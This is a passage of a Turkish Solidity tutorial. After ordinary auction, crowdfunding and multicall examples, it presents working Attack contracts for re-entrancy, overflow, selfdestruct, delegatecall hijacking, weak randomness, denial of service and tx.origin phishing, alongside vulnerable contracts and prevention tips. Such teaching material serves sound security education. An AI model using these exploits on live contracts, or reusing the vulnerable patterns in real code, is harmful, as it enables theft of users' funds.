uint \_nonce

) {

*// Note: copy storage array to memory*

address[2] memory signers;

for (uint i = 0; i < users.length; i++) {

signers[i] = users[i];

}

require(

verify(\_signatures, address(this), signers, \_balances, \_nonce),

"Invalid signature"

);

\_;

}

modifier onlyUser() {

require(isUser[msg.sender], "Not user");

\_;

}

function challengeExit(

uint[2] memory \_balances,

uint \_nonce,

bytes[2] memory \_signatures

)

public

onlyUser

checkSignatures(\_signatures, \_balances, \_nonce)

checkBalances(\_balances)

{

require(block.timestamp < expiresAt, "Expired challenge period");

require(\_nonce > nonce, "Nonce must be greater than the current nonce");

for (uint i = 0; i < \_balances.length; i++) {

balances[users[i]] = \_balances[i];

}

nonce = \_nonce;

expiresAt = block.timestamp.add(challengePeriod);

emit ChallengeExit(msg.sender, nonce);

}

function withdraw() public onlyUser {

require(block.timestamp >= expiresAt, "Challenge period has not expired yet");

uint amount = balances[msg.sender];

balances[msg.sender] = 0;

(bool sent, ) = msg.sender.call{value: amount}("");

require(sent, "Failed to send Ether");

emit Withdraw(msg.sender, amount);

}

}

## İngilizce Müzayede

NFT için İngilizce açık artırma.

**Açık arttırma**

1. NFT Satıcısı bu sözleşmeyi uygular.

2. Açık artırma 7 gün sürer.

3. Katılımcılar, mevcut en yüksek teklifi verenden daha fazla ETH yatırarak teklif verebilirler.

4. Mevcut en yüksek teklif değilse, tüm teklif sahipleri tekliflerini geri çekebilirler.

**müzayededen sonra**

1. En yüksek teklifi veren NFT'nin yeni sahibi olur.

2. Satıcı en yüksek ETH teklifini alır.

*// SPDX-License-Identifier: MIT*

pragma solidity ^0.8.10;

interface IERC721 {

function safeTransferFrom(

address from,

address to,

uint tokenId

) external;

function transferFrom(

address,

address,

uint

) external;

}

contract EnglishAuction {

event Start();

event Bid(address indexed sender, uint amount);

event Withdraw(address indexed bidder, uint amount);

event End(address winner, uint amount);

IERC721 public nft;

uint public nftId;

address payable public seller;

uint public endAt;

bool public started;

bool public ended;

address public highestBidder;

uint public highestBid;

mapping(address => uint) public bids;

constructor(

address \_nft,

uint \_nftId,

uint \_startingBid

) {

nft = IERC721(\_nft);

nftId = \_nftId;

seller = payable(msg.sender);

highestBid = \_startingBid;

}

function start() external {

require(!started, "started");

require(msg.sender == seller, "not seller");

nft.transferFrom(msg.sender, address(this), nftId);

started = true;

endAt = block.timestamp + 7 days;

emit Start();

}

function bid() external payable {

require(started, "not started");

require(block.timestamp < endAt, "ended");

require(msg.value > highestBid, "value < highest");

if (highestBidder != address(0)) {

bids[highestBidder] += highestBid;

}

highestBidder = msg.sender;

highestBid = msg.value;

emit Bid(msg.sender, msg.value);

}

function withdraw() external {

uint bal = bids[msg.sender];

bids[msg.sender] = 0;

payable(msg.sender).transfer(bal);

emit Withdraw(msg.sender, bal);

}

function end() external {

require(started, "not started");

require(block.timestamp >= endAt, "not ended");

require(!ended, "ended");

ended = true;

if (highestBidder != address(0)) {

nft.safeTransferFrom(address(this), highestBidder, nftId);

seller.transfer(highestBid);

} else {

nft.safeTransferFrom(address(this), seller, nftId);

}

emit End(highestBidder, highestBid);

}

}

## Açık Eksiltme (Dutch Auction)

Dutch auction; Hollanda üsülü açık arttırma ile NFT’lerin satılmasıdır. Birden çok satıcıdan teklif alınarak NFT satın alınması durumu, satıcılar arasındaki rekabeti uyarır ve fiyatı olabilecek en düşük seviyeye çeker.

**Açık eksiltme**

1. NFT Satıcısı, NFT için bir başlangıç fiyatı belirleyen bu sözleşmeyi dağıtır.

2. Açık eksiltme 7 gün sürer.

3. NFT'nin fiyatı zamanla azalır.

4. Katılımcılar, akıllı sözleşme tarafından hesaplanan mevcut fiyattan daha yüksek ETH yatırarak satın alabilirler.

5. Açık eksiltme, bir alıcı NFT'yi satın aldığında sona erer.

*// SPDX-License-Identifier: MIT*

pragma solidity ^0.8.10;

interface IERC721 {

function transferFrom(

address \_from,

address \_to,

uint \_nftId

) external;

}

contract DutchAuction {

uint private constant DURATION = 7 days;

IERC721 public immutable nft;

uint public immutable nftId;

address payable public immutable seller;

uint public immutable startingPrice;

uint public immutable startAt;

uint public immutable expiresAt;

uint public immutable discountRate;

constructor(

uint \_startingPrice,

uint \_discountRate,

address \_nft,

uint \_nftId

) {

seller = payable(msg.sender);

startingPrice = \_startingPrice;

startAt = block.timestamp;

expiresAt = block.timestamp + DURATION;

discountRate = \_discountRate;

require(\_startingPrice >= \_discountRate \* DURATION, "starting price < min");

nft = IERC721(\_nft);

nftId = \_nftId;

}

function getPrice() public view returns (uint) {

uint timeElapsed = block.timestamp - startAt;

uint discount = discountRate \* timeElapsed;

return startingPrice - discount;

}

function buy() external payable {

require(block.timestamp < expiresAt, "auction expired");

uint price = getPrice();

require(msg.value >= price, "ETH < price");

nft.transferFrom(seller, msg.sender, nftId);

uint refund = msg.value - price;

if (refund > 0) {

payable(msg.sender).transfer(refund);

}

selfdestruct(seller);

}

}

## Kitle Fonlaması

Kitle Fonu ERC20 token

1. Kullanıcı bir kampanya oluşturur.

2. Kullanıcılar, tokenlerini bir kampanyaya aktararak rehin verebilir.

3. Kampanya sona erdikten sonra, taahhüt edilen toplam tutar kampanya hedefinden fazlaysa, kampanyayı oluşturan kişi fon talep edebilir.

4. Aksi halde kampanya amacına ulaşamamışsa kullanıcılar taahhütlerini geri alabilirler.

*// SPDX-License-Identifier: MIT*

pragma solidity ^0.8.10;

interface IERC20 {

function transfer(address, uint) external returns (bool);

function transferFrom(

address,

address,

uint

) external returns (bool);

}

contract CrowdFund {

event Launch(

uint id,

address indexed creator,

uint goal,

uint32 startAt,

uint32 endAt

);

event Cancel(uint id);

event Pledge(uint indexed id, address indexed caller, uint amount);

event Unpledge(uint indexed id, address indexed caller, uint amount);

event Claim(uint id);

event Refund(uint id, address indexed caller, uint amount);

struct Campaign {

*// Creator of campaign*

address creator;

*// Amount of tokens to raise*

uint goal;

*// Total amount pledged*

uint pledged;

*// Timestamp of start of campaign*

uint32 startAt;

*// Timestamp of end of campaign*

uint32 endAt;

*// True if goal was reached and creator has claimed the tokens.*

bool claimed;

}

IERC20 public immutable token;

*// Total count of campaigns created.*

*// It is also used to generate id for new campaigns.*

uint public count;

*// Mapping from id to Campaign*

mapping(uint => Campaign) public campaigns;

*// Mapping from campaign id => pledger => amount pledged*

mapping(uint => mapping(address => uint)) public pledgedAmount;

constructor(address \_token) {

token = IERC20(\_token);

}

function launch(

uint \_goal,

uint32 \_startAt,

uint32 \_endAt

) external {

require(\_startAt >= block.timestamp, "start at < now");

require(\_endAt >= \_startAt, "end at < start at");

require(\_endAt <= block.timestamp + 90 days, "end at > max duration");

count += 1;

campaigns[count] = Campaign({

creator: msg.sender,

goal: \_goal,

pledged: 0,

startAt: \_startAt,

endAt: \_endAt,

claimed: false

});

emit Launch(count, msg.sender, \_goal, \_startAt, \_endAt);

}

function cancel(uint \_id) external {

Campaign memory campaign = campaigns[\_id];

require(campaign.creator == msg.sender, "not creator");

require(block.timestamp < campaign.startAt, "started");

delete campaigns[\_id];

emit Cancel(\_id);

}

function pledge(uint \_id, uint \_amount) external {

Campaign storage campaign = campaigns[\_id];

require(block.timestamp >= campaign.startAt, "not started");

require(block.timestamp <= campaign.endAt, "ended");

campaign.pledged += \_amount;

pledgedAmount[\_id][msg.sender] += \_amount;

token.transferFrom(msg.sender, address(this), \_amount);

emit Pledge(\_id, msg.sender, \_amount);

}

function unpledge(uint \_id, uint \_amount) external {

Campaign storage campaign = campaigns[\_id];

require(block.timestamp <= campaign.endAt, "ended");

campaign.pledged -= \_amount;

pledgedAmount[\_id][msg.sender] -= \_amount;

token.transfer(msg.sender, \_amount);

emit Unpledge(\_id, msg.sender, \_amount);

}

function claim(uint \_id) external {

Campaign storage campaign = campaigns[\_id];

require(campaign.creator == msg.sender, "not creator");

require(block.timestamp > campaign.endAt, "not ended");

require(campaign.pledged >= campaign.goal, "pledged < goal");

require(!campaign.claimed, "claimed");

campaign.claimed = true;

token.transfer(campaign.creator, campaign.pledged);

emit Claim(\_id);

}

function refund(uint \_id) external {

Campaign memory campaign = campaigns[\_id];

require(block.timestamp > campaign.endAt, "not ended");

require(campaign.pledged < campaign.goal, "pledged >= goal");

uint bal = pledgedAmount[\_id][msg.sender];

pledgedAmount[\_id][msg.sender] = 0;

token.transfer(msg.sender, bal);

emit Refund(\_id, msg.sender, bal);

}

}

## Çoklu Çağrı

Bir döngü ve  staticcall (statik çağrı) kullanarak birden çok sorguyu toplayan bir sözleşme örneği.

*// SPDX-License-Identifier: MIT*

pragma solidity ^0.8.10;

contract MultiCall {

function multiCall(address[] calldata targets, bytes[] calldata data)

external

view

returns (bytes[] memory)

{

require(targets.length == data.length, "target length != data length");

bytes[] memory results = new bytes[](data.length);

for (uint i; i < targets.length; i++) {

(bool success, bytes memory result) = targets[i].staticcall(data[i]);

require(success, "call failed");

results[i] = result;

}

return results;

}

}

 MultiCall'ı test etme sözleşmesi

*// SPDX-License-Identifier: MIT*

pragma solidity ^0.8.10;

contract TestMultiCall {

function test(uint \_i) external pure returns (uint) {

return \_i;

}

function getData(uint \_i) external pure returns (bytes memory) {

return abi.encodeWithSelector(this.test.selector, \_i);

}

}

## Çoklu Temsilci Çağrısı

 delegatecall kullanarak tek bir işlemle birden çok işlevi çağırma örneği.

*// SPDX-License-Identifier: MIT*

pragma solidity ^0.8.10;

contract MultiDelegatecall {

error DelegatecallFailed();

function multiDelegatecall(bytes[] memory data)

external

payable

returns (bytes[] memory results)

{

results = new bytes[](data.length);

for (uint i; i < data.length; i++) {

(bool ok, bytes memory res) = address(this).delegatecall(data[i]);

if (!ok) {

revert DelegatecallFailed();

}

results[i] = res;

}

}

}

*// Why use multi delegatecall? Why not multi call?*

*// alice -> multi call --- call ---> test (msg.sender = multi call)*

*// alice -> test --- delegatecall ---> test (msg.sender = alice)*

contract TestMultiDelegatecall is MultiDelegatecall {

event Log(address caller, string func, uint i);

function func1(uint x, uint y) external {

*// msg.sender = alice*

emit Log(msg.sender, "func1", x + y);

}

function func2() external returns (uint) {

*// msg.sender = alice*

emit Log(msg.sender, "func2", 2);

return 111;

}

mapping(address => uint) public balanceOf;

*// WARNING: unsafe code when used in combination with multi-delegatecall*

*// user can mint multiple times for the price of msg.value*

function mint() external payable {

balanceOf[msg.sender] += msg.value;

}

}

contract Helper {

function getFunc1Data(uint x, uint y) external pure returns (bytes memory) {

return abi.encodeWithSelector(TestMultiDelegatecall.func1.selector, x, y);

}

function getFunc2Data() external pure returns (bytes memory) {

return abi.encodeWithSelector(TestMultiDelegatecall.func2.selector);

}

function getMintData() external pure returns (bytes memory) {

return abi.encodeWithSelector(TestMultiDelegatecall.mint.selector);

}

}

## Re-Entrancy (Yeniden Giriş)

### Vulnerability (Güvenlik açığı)

Diyelim ki  A  sözleşmesi  B sözleşmesini çağırıyor.

Yeniden giriş açığından yararlanma,  A 'nın yürütmeyi bitirmesinden önce  B 'nin  A 'yı geri aramasına izin verir.

*// SPDX-License-Identifier: MIT*

pragma solidity ^0.8.10;

*/\**

*EtherStore is a contract where you can deposit and withdraw ETH.*

*This contract is vulnerable to re-entrancy attack.*

*Let's see why.*

*1. Deploy EtherStore*

*2. Deposit 1 Ether each from Account 1 (Alice) and Account 2 (Bob) into EtherStore*

*3. Deploy Attack with address of EtherStore*

*4. Call Attack.attack sending 1 ether (using Account 3 (Eve)).*

*You will get 3 Ethers back (2 Ether stolen from Alice and Bob,*

*plus 1 Ether sent from this contract).*

*What happened?*

*Attack was able to call EtherStore.withdraw multiple times before*

*EtherStore.withdraw finished executing.*

*Here is how the functions were called*

*- Attack.attack*

*- EtherStore.deposit*

*- EtherStore.withdraw*

*- Attack fallback (receives 1 Ether)*

*- EtherStore.withdraw*

*- Attack.fallback (receives 1 Ether)*

*- EtherStore.withdraw*

*- Attack fallback (receives 1 Ether)*

*\*/*

contract EtherStore {

mapping(address => uint) public balances;

function deposit() public payable {

balances[msg.sender] += msg.value;

}

function withdraw() public {

uint bal = balances[msg.sender];

require(bal > 0);

(bool sent, ) = msg.sender.call{value: bal}("");

require(sent, "Failed to send Ether");

balances[msg.sender] = 0;

}

*// Helper function to check the balance of this contract*

function getBalance() public view returns (uint) {

return address(this).balance;

}

}

contract Attack {

EtherStore public etherStore;

constructor(address \_etherStoreAddress) {

etherStore = EtherStore(\_etherStoreAddress);

}

*// Fallback is called when EtherStore sends Ether to this contract.*

fallback() external payable {

if (address(etherStore).balance >= 1 ether) {

etherStore.withdraw();

}

}

function attack() external payable {

require(msg.value >= 1 ether);

etherStore.deposit{value: 1 ether}();

etherStore.withdraw();

}

*// Helper function to check the balance of this contract*

function getBalance() public view returns (uint) {

return address(this).balance;

}

}

### Önleyici Terknikler

• Harici sözleşmeleri çağırmadan önce tüm durum değişikliklerinin gerçekleştiğinden emin olun

• Yeniden girişi önleyen işlev değiştiricileri kullanın

İşte yeniden giriş korumasına bir örnek;

*// SPDX-License-Identifier: MIT*

pragma solidity ^0.8.10;

contract ReEntrancyGuard {

bool internal locked;

modifier noReentrant() {

require(!locked, "No re-entrancy");

locked = true;

\_;

locked = false;

}

}

## Aritmetik Taşma ve Azalma (Overflow/Underflow)

### Vulnerability (Güvenlik Açığı)

##### Solidity < 0.8

Solidity overflow / underflow'deki tamsayılar hatasız

##### Solidity >= 0.8

Solidity 0.8'in overflow / underflow için varsayılan davranışı bir hata atmaktır.

*// SPDX-License-Identifier: MIT*

pragma solidity ^0.7.6;

*// This contract is designed to act as a time vault.*

*// User can deposit into this contract but cannot withdraw for atleast a week.*

*// User can also extend the wait time beyond the 1 week waiting period.*

*/\**

*1. Deploy TimeLock*

*2. Deploy Attack with address of TimeLock*

*3. Call Attack.attack sending 1 ether. You will immediately be able to*

*withdraw your ether.*

*What happened?*

*Attack caused the TimeLock.lockTime to overflow and was able to withdraw*

*before the 1 week waiting period.*

*\*/*

contract TimeLock {

mapping(address => uint) public balances;

mapping(address => uint) public lockTime;

function deposit() external payable {

balances[msg.sender] += msg.value;

lockTime[msg.sender] = block.timestamp + 1 weeks;

}

function increaseLockTime(uint \_secondsToIncrease) public {

lockTime[msg.sender] += \_secondsToIncrease;

}

function withdraw() public {

require(balances[msg.sender] > 0, "Insufficient funds");

require(block.timestamp > lockTime[msg.sender], "Lock time not expired");

uint amount = balances[msg.sender];

balances[msg.sender] = 0;

(bool sent, ) = msg.sender.call{value: amount}("");

require(sent, "Failed to send Ether");

}

}

contract Attack {

TimeLock timeLock;

constructor(TimeLock \_timeLock) {

timeLock = TimeLock(\_timeLock);

}

fallback() external payable {}

function attack() public payable {

timeLock.deposit{value: msg.value}();

*/\**

*if t = current lock time then we need to find x such that*

*x + t = 2\*\*256 = 0*

*so x = -t*

*2\*\*256 = type(uint).max + 1*

*so x = type(uint).max + 1 - t*

*\*/*

timeLock.increaseLockTime(

type(uint).max + 1 - timeLock.lockTime(address(this))

);

timeLock.withdraw();

}

}

### Önleyici Teknikler

* Aritmetik overflow ve underflow'yi önlemek için  [SafeMath](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/math/SafeMath.sol) 'i kullanın
* Solidity 0.8 varsayılan olarak overflow / underflow için bir hata veriyor

## Kendini İmha (Self Destruct)

Sözleşmeler, kendi  selfdestruct (kendini imha) çağrılarak blok zincirinden silinebilir.

selfdestruct , sözleşmede depolanan kalan tüm Ether'leri belirlenmiş bir adrese gönderir.

### Vulnerability (Güvenlik açığı)

Kötü amaçlı bir sözleşme, Ether'i herhangi bir sözleşmeye göndermeye zorlamak için kendi kendini yok etme özelliğini ( selfdestruct ) kullanabilir.

*// SPDX-License-Identifier: MIT*

pragma solidity ^0.8.10;

*// The goal of this game is to be the 7th player to deposit 1 Ether.*

*// Players can deposit only 1 Ether at a time.*

*// Winner will be able to withdraw all Ether.*

*/\**

*1. Deploy EtherGame*

*2. Players (say Alice and Bob) decides to play, deposits 1 Ether each.*

*2. Deploy Attack with address of EtherGame*

*3. Call Attack.attack sending 5 ether. This will break the game*

*No one can become the winner.*

*What happened?*

*Attack forced the balance of EtherGame to equal 7 ether.*

*Now no one can deposit and the winner cannot be set.*

*\*/*

contract EtherGame {

uint public targetAmount = 7 ether;

address public winner;

function deposit() public payable {

require(msg.value == 1 ether, "You can only send 1 Ether");

uint balance = address(this).balance;

require(balance <= targetAmount, "Game is over");

if (balance == targetAmount) {

winner = msg.sender;

}

}

function claimReward() public {

require(msg.sender == winner, "Not winner");

(bool sent, ) = msg.sender.call{value: address(this).balance}("");

require(sent, "Failed to send Ether");

}

}

contract Attack {

EtherGame etherGame;

constructor(EtherGame \_etherGame) {

etherGame = EtherGame(\_etherGame);

}

function attack() public payable {

*// You can simply break the game by sending ether so that*

*// the game balance >= 7 ether*

*// cast address to payable*

address payable addr = payable(address(etherGame));

selfdestruct(addr);

}

}

### Önleyici Teknikler

 address(this).balance'a güvenmeyin.

*// SPDX-License-Identifier: MIT*

pragma solidity ^0.8.10;

contract EtherGame {

uint public targetAmount = 3 ether;

uint public balance;

address public winner;

function deposit() public payable {

require(msg.value == 1 ether, "You can only send 1 Ether");

balance += msg.value;

require(balance <= targetAmount, "Game is over");

if (balance == targetAmount) {

winner = msg.sender;

}

}

function claimReward() public {

require(msg.sender == winner, "Not winner");

(bool sent, ) = msg.sender.call{value: balance}("");

require(sent, "Failed to send Ether");

}

}

## Özel Verilere Erişim

### Vulnerability (Güvenlik Açığı)

Özel Verilere Erişim

güvenlik açığı

Akıllı bir sözleşmedeki tüm veriler okunabilir.

Özel verileri ( private ) nasıl okuyabileceğimizi görelim. Bu süreçte Solidity'nin durum değişkenlerini nasıl sakladığını öğreneceksiniz.

*// SPDX-License-Identifier: MIT*

pragma solidity ^0.8.10;

*/\**

*Note: cannot use web3 on JVM, so use the contract deployed on ropsten*

*Note: browser Web3 is old so use Web3 from truffle console*

*Contract deployed on Ropsten*

*0x3505a02BCDFbb225988161a95528bfDb279faD6b*

*\*/*

*/\**

*# Storage*

*- 2 \*\* 256 slots*

*- 32 bytes for each slot*

*- data is stored sequentially in the order of declaration*

*- storage is optimized to save space. If neighboring variables fit in a single*

*32 bytes, then they are packed into the same slot, starting from the right*

*\*/*

contract Vault {

*// slot 0*

uint public count = 123;

*// slot 1*

address public owner = msg.sender;

bool public isTrue = true;

uint16 public u16 = 31;

*// slot 2*

bytes32 private password;

*// constants do not use storage*

uint public constant someConst = 123;

*// slot 3, 4, 5 (one for each array element)*

bytes32[3] public data;

struct User {

uint id;

bytes32 password;

}

*// slot 6 - length of array*

*// starting from slot hash(6) - array elements*

*// slot where array element is stored = keccak256(slot)) + (index \* elementSize)*

*// where slot = 6 and elementSize = 2 (1 (uint) + 1 (bytes32))*

User[] private users;

*// slot 7 - empty*

*// entries are stored at hash(key, slot)*

*// where slot = 7, key = map key*

mapping(uint => User) private idToUser;

constructor(bytes32 \_password) {

password = \_password;

}

function addUser(bytes32 \_password) public {

User memory user = User({id: users.length, password: \_password});

users.push(user);

idToUser[user.id] = user;

}

function getArrayLocation(

uint slot,

uint index,

uint elementSize

) public pure returns (uint) {

return uint(keccak256(abi.encodePacked(slot))) + (index \* elementSize);

}

function getMapLocation(uint slot, uint key) public pure returns (uint) {

return uint(keccak256(abi.encodePacked(key, slot)));

}

}

*/\**

*slot 0 - count*

*web3.eth.getStorageAt("0x3505a02BCDFbb225988161a95528bfDb279faD6b", 0, console.log)*

*slot 1 - u16, isTrue, owner*

*web3.eth.getStorageAt("0x3505a02BCDFbb225988161a95528bfDb279faD6b", 1, console.log)*

*slot 2 - password*

*web3.eth.getStorageAt("0x3505a02BCDFbb225988161a95528bfDb279faD6b", 2, console.log)*

*slot 6 - array length*

*getArrayLocation(6, 0, 2)*

*web3.utils.numberToHex("111414077815863400510004064629973595961579173665589224203503662149373724986687")*

*Note: We can also use web3 to get data location*

*web3.utils.soliditySha3({ type: "uint", value: 6 })*

*1st user*

*web3.eth.getStorageAt("0x3505a02BCDFbb225988161a95528bfDb279faD6b", "0xf652222313e28459528d920b65115c16c04f3efc82aaedc97be59f3f377c0d3f", console.log)*

*web3.eth.getStorageAt("0x3505a02BCDFbb225988161a95528bfDb279faD6b", "0xf652222313e28459528d920b65115c16c04f3efc82aaedc97be59f3f377c0d40", console.log)*

*Note: use web3.toAscii to convert bytes32 to alphabet*

*2nd user*

*web3.eth.getStorageAt("0x3505a02BCDFbb225988161a95528bfDb279faD6b", "0xf652222313e28459528d920b65115c16c04f3efc82aaedc97be59f3f377c0d41", console.log)*

*web3.eth.getStorageAt("0x3505a02BCDFbb225988161a95528bfDb279faD6b", "0xf652222313e28459528d920b65115c16c04f3efc82aaedc97be59f3f377c0d42", console.log)*

*slot 7 - empty*

*getMapLocation(7, 1)*

*web3.utils.numberToHex("81222191986226809103279119994707868322855741819905904417953092666699096963112")*

*Note: We can also use web3 to get data location*

*web3.utils.soliditySha3({ type: "uint", value: 1 }, {type: "uint", value: 7})*

*user 1*

*web3.eth.getStorageAt("0x3505a02BCDFbb225988161a95528bfDb279faD6b", "0xb39221ace053465ec3453ce2b36430bd138b997ecea25c1043da0c366812b828", console.log)*

*web3.eth.getStorageAt("0x3505a02BCDFbb225988161a95528bfDb279faD6b", "0xb39221ace053465ec3453ce2b36430bd138b997ecea25c1043da0c366812b829", console.log)*

*\*/*

### Önleyici Teknikler

* Hassas bilgileri blok zincirinde saklamayın.

## Delegatecall (Temsilci Araması)

### Vulnerability (Güvenlik Açığı)

delegatecall 'i kullanmak zordur, yanlış kullanım veya yanlış anlama, yıkıcı sonuçlara yol açabilir.

delegatecall'yi kullanırken 2 şeyi göz önünde bulundurmalısınız

1.delegatecall  bağlamı korur (depolama, arayan vb.).

2. depolama düzeni,  delegatecall 'yi çağıran sözleşme ve çağrılan sözleşme için aynı olmalıdır

*// SPDX-License-Identifier: MIT*

pragma solidity ^0.8.10;

*/\**

*HackMe is a contract that uses delegatecall to execute code.*

*It it is not obvious that the owner of HackMe can be changed since there is no*

*function inside HackMe to do so. However an attacker can hijack the*

*contract by exploiting delegatecall. Let's see how.*

*1. Alice deploys Lib*

*2. Alice deploys HackMe with address of Lib*

*3. Eve deploys Attack with address of HackMe*

*4. Eve calls Attack.attack()*

*5. Attack is now the owner of HackMe*

*What happened?*

*Eve called Attack.attack().*

*Attack called the fallback function of HackMe sending the function*

*selector of pwn(). HackMe forwards the call to Lib using delegatecall.*

*Here msg.data contains the function selector of pwn().*

*This tells Solidity to call the function pwn() inside Lib.*

*The function pwn() updates the owner to msg.sender.*

*Delegatecall runs the code of Lib using the context of HackMe.*

*Therefore HackMe's storage was updated to msg.sender where msg.sender is the*

*caller of HackMe, in this case Attack.*

*\*/*

contract Lib {

address public owner;

function pwn() public {

owner = msg.sender;

}

}

contract HackMe {

address public owner;

Lib public lib;

constructor(Lib \_lib) {

owner = msg.sender;

lib = Lib(\_lib);

}

fallback() external payable {

address(lib).delegatecall(msg.data);

}

}

contract Attack {

address public hackMe;

constructor(address \_hackMe) {

hackMe = \_hackMe;

}

function attack() public {

hackMe.call(abi.encodeWithSignature("pwn()"));

}

}

Örneğin;

Bu istismarı anlayabilmek için önce Solidity'nin durum değişkenlerini nasıl sakladığını anlamak gereklidir.

*// SPDX-License-Identifier: MIT*

pragma solidity ^0.8.10;

*/\**

*This is a more sophisticated version of the previous exploit.*

*1. Alice deploys Lib and HackMe with the address of Lib*

*2. Eve deploys Attack with the address of HackMe*

*3. Eve calls Attack.attack()*

*4. Attack is now the owner of HackMe*

*What happened?*

*Notice that the state variables are not defined in the same manner in Lib*

*and HackMe. This means that calling Lib.doSomething() will change the first*

*state variable inside HackMe, which happens to be the address of lib.*

*Inside attack(), the first call to doSomething() changes the address of lib*

*store in HackMe. Address of lib is now set to Attack.*

*The second call to doSomething() calls Attack.doSomething() and here we*

*change the owner.*

*\*/*

contract Lib {

uint public someNumber;

function doSomething(uint \_num) public {

someNumber = \_num;

}

}

contract HackMe {

address public lib;

address public owner;

uint public someNumber;

constructor(address \_lib) {

lib = \_lib;

owner = msg.sender;

}

function doSomething(uint \_num) public {

lib.delegatecall(abi.encodeWithSignature("doSomething(uint256)", \_num));

}

}

contract Attack {

*// Make sure the storage layout is the same as HackMe*

*// This will allow us to correctly update the state variables*

address public lib;

address public owner;

uint public someNumber;

HackMe public hackMe;

constructor(HackMe \_hackMe) {

hackMe = HackMe(\_hackMe);

}

function attack() public {

*// override address of lib*

hackMe.doSomething(uint(uint160(address(this))));

*// pass any number as input, the function doSomething() below will*

*// be called*

hackMe.doSomething(1);

}

*// function signature must match HackMe.doSomething()*

function doSomething(uint \_num) public {

owner = msg.sender;

}

}

### Önleyici Teknikler

* Durum bilgisi olmayan  Library kullanma

## Rastgeleliğin Kaynağı

### Vulnerability (Güvenlik Açığı)

blockhash  ve  block.timestamp  rastgelelik konusunda güvenilir kaynaklar değildir.

*// SPDX-License-Identifier: MIT*

pragma solidity ^0.8.10;

*/\**

*NOTE: cannot use blockhash in Remix so use ganache-cli*

*npm i -g ganache-cli*

*ganache-cli*

*In remix switch environment to Web3 provider*

*\*/*

*/\**

*GuessTheRandomNumber is a game where you win 1 Ether if you can guess the*

*pseudo random number generated from block hash and timestamp.*

*At first glance, it seems impossible to guess the correct number.*

*But let's see how easy it is win.*

*1. Alice deploys GuessTheRandomNumber with 1 Ether*

*2. Eve deploys Attack*

*3. Eve calls Attack.attack() and wins 1 Ether*

*What happened?*

*Attack computed the correct answer by simply copying the code that computes the random number.*

*\*/*

contract GuessTheRandomNumber {

constructor() payable {}

function guess(uint \_guess) public {

uint answer = uint(

keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp))

);

if (\_guess == answer) {

(bool sent, ) = msg.sender.call{value: 1 ether}("");

require(sent, "Failed to send Ether");

}

}

}

contract Attack {

receive() external payable {}

function attack(GuessTheRandomNumber guessTheRandomNumber) public {

uint answer = uint(

keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp))

);

guessTheRandomNumber.guess(answer);

}

*// Helper function to check balance*

function getBalance() public view returns (uint) {

return address(this).balance;

}

}

### Önleyici Teknikler

* Rastgelelik kaynağı olarak  blockhash  ve  block.timestamp  damgası kullanmayın.

## Hizmet Reddi (Denial of Service)

### Vulnerability (Güvenlik Açığı)

Kullanılamaz hale getirmek için akıllı bir sözleşmeye saldırmanın birçok yolu vardır. Burada tanıttığımız bir istismar, Ether gönderme işlevini başarısız hale getirerek hizmet reddidir.

*// SPDX-License-Identifier: MIT*

pragma solidity ^0.8.10;

*/\**

*The goal of KingOfEther is to become the king by sending more Ether than*

*the previous king. Previous king will be refunded with the amount of Ether*

*he sent.*

*\*/*

*/\**

*1. Deploy KingOfEther*

*2. Alice becomes the king by sending 1 Ether to claimThrone().*

*2. Bob becomes the king by sending 2 Ether to claimThrone().*

*Alice receives a refund of 1 Ether.*

*3. Deploy Attack with address of KingOfEther.*

*4. Call attack with 3 Ether.*

*5. Current king is the Attack contract and no one can become the new king.*

*What happened?*

*Attack became the king. All new challenge to claim the throne will be rejected*

*since Attack contract does not have a fallback function, denying to accept the*

*Ether sent from KingOfEther before the new king is set.*

*\*/*

contract KingOfEther {

address public king;

uint public balance;

function claimThrone() external payable {

require(msg.value > balance, "Need to pay more to become the king");

(bool sent, ) = king.call{value: balance}("");

require(sent, "Failed to send Ether");

balance = msg.value;

king = msg.sender;

}

}

contract Attack {

KingOfEther kingOfEther;

constructor(KingOfEther \_kingOfEther) {

kingOfEther = KingOfEther(\_kingOfEther);

}

*// You can also perform a DOS by consuming all gas using assert.*

*// This attack will work even if the calling contract does not check*

*// whether the call was successful or not.*

*//*

*// function () external payable {*

*// assert(false);*

*// }*

function attack() public payable {

kingOfEther.claimThrone{value: msg.value}();

}

}

### Önleyici Teknikler

Bunu önlemenin bir yolu, kullanıcıların Ether'lerini göndermek yerine geri çekmelerine izin vermektir.

Aşağıda verilen örneği inceleyiniz.

*// SPDX-License-Identifier: MIT*

pragma solidity ^0.8.10;

contract KingOfEther {

address public king;

uint public balance;

mapping(address => uint) public balances;

function claimThrone() external payable {

require(msg.value > balance, "Need to pay more to become the king");

balances[king] += balance;

balance = msg.value;

king = msg.sender;

}

function withdraw() public {

require(msg.sender != king, "Current king cannot withdraw");

uint amount = balances[msg.sender];

balances[msg.sender] = 0;

(bool sent, ) = msg.sender.call{value: amount}("");

require(sent, "Failed to send Ether");

}

}

## tx.origin ile Kimlik Avı

### msg.sender  ve  tx.origin arasındaki fark nedir?

A sözleşmesi B'yi ve B'nin C'yi araması durumunda, C  msg.sender  B'dir ve  tx.origin  A'dır.

A sözleşmesi B'yi ve B C'yi çağırırsa, Cis B'de, A'dır.

### Vulnerability (Güvenlik Açığı)

Kötü niyetli bir sözleşme, sözleşmenin sahibini, yalnızca sahibinin çağırabilmesi gereken bir işlevi çağırması için aldatabilir.

*// SPDX-License-Identifier: MIT*

pragma solidity ^0.8.10;

*/\**

*Wallet is a simple contract where only the owner should be able to transfer*

*Ether to another address. Wallet.transfer() uses tx.origin to check that the*

*caller is the owner. Let's see how we can hack this contract*

*\*/*

*/\**

*1. Alice deploys Wallet with 10 Ether*

*2. Eve deploys Attack with the address of Alice's Wallet contract.*

*3. Eve tricks Alice to call Attack.attack()*

*4. Eve successfully stole Ether from Alice's wallet*

*What happened?*

*Alice was tricked into calling Attack.attack(). Inside Attack.attack(), it*

*requested a transfer of all funds in Alice's wallet to Eve's address.*

*Since tx.origin in Wallet.transfer() is equal to Alice's address,*

*it authorized the transfer. The wallet transferred all Ether to Eve.*

*\*/*

contract Wallet {

address public owner;

constructor() payable {

owner = msg.sender;

}

function transfer(address payable \_to, uint \_amount) public {

require(tx.origin == owner, "Not owner");

(bool sent, ) = \_to.call{value: \_amount}("");

require(sent, "Failed to send Ether");

}

}

contract Attack {

address payable public owner;

Wallet wallet;

